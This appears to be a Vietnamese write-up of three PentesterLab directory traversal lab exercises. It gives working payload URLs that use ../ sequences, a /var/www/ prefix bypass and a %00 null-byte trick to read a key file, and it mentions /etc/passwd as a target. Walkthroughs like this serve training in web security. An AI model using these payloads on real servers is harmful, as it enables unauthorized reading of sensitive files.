Directory Traversal 01
Đường dẫn ban đầu của phần này như sau:
https://ptl-b84ecae9-e2953215.libcurl.st/
Chúng ta cần vào xem đường dẫn của ảnh bằng cách nhấn chuột phải vào ảnh và chọn copy image link:
Chúng ta sẽ thấy đường dẫn ảnh như sau, đây là phần chúng ta có thể khai thác:
Thay đường dẫn đến file chúng ta cần đọc bằng cách sửa đối chuỗi sau dấu phẩy:
1 |
https://ptl-b84ecae9-e2953215.libcurl.st/file.php?file=../../../../../../../../../../../../pentesterlab.key |
Directory Traversal 02
Ở phần này chúng ta sẽ nhìn thấy đầy đủ đường dẫn đến file. Tuy nhiên nếu chúng ta thay toàn bộ đường dẫn đó bằng /etc/password thì sẽ không nhận được gì vì đã bị check ở code php. Tuy nhiên chúng ta có thể thay đổi ở phía sau đường dẫn như sau:
1 |
https://ptl-f61311fe-e6e7e36a.libcurl.st/file.php?file=/var/www/../../../../../../../../../../../../pentesterlab.key |
Directory Traversal 03
Phần này nói về việc loại bỏ hậu tố của file (đuôi file). Ví dụ ở đây là:
1 |
http://ptl-27ac005a-c3b85b74.libcurl.st/file.php?file=hacker |
Thực tế file là hacker.png nhưng đã bị loại bỏ hậu tố .png. Nếu chúng ta vào đường dẫn sau thì sẽ không nhận được gì mặc dù file image đúng là có đuôi là png:
1 |
http://ptl-27ac005a-c3b85b74.libcurl.st/file.php?file=hacker.png |
Tương tự nếu chúng ta thay thế path dẫn đến file key để giải quyết bài toán thì cũng sẽ không nhận được gì vì code đã hide phần đuôi file:
1 |
https://ptl-27ac005a-c3b85b74.libcurl.st/file.php?file=../../../../../../../../../../../../pentesterlab.key |
View source code tại URL này chúng ta sẽ thấy phần xử lý suffix:
Để hiện thị hậu tố chúng ta thêm NULL BYTE vào cuối URL (URL encode là %00), ở phần này đoạn code thêm vào URL sẽ là:
1 |
https://ptl-27ac005a-c3b85b74.libcurl.st/file.php?file=../../../../../../../../../../../../pentesterlab.key%00 |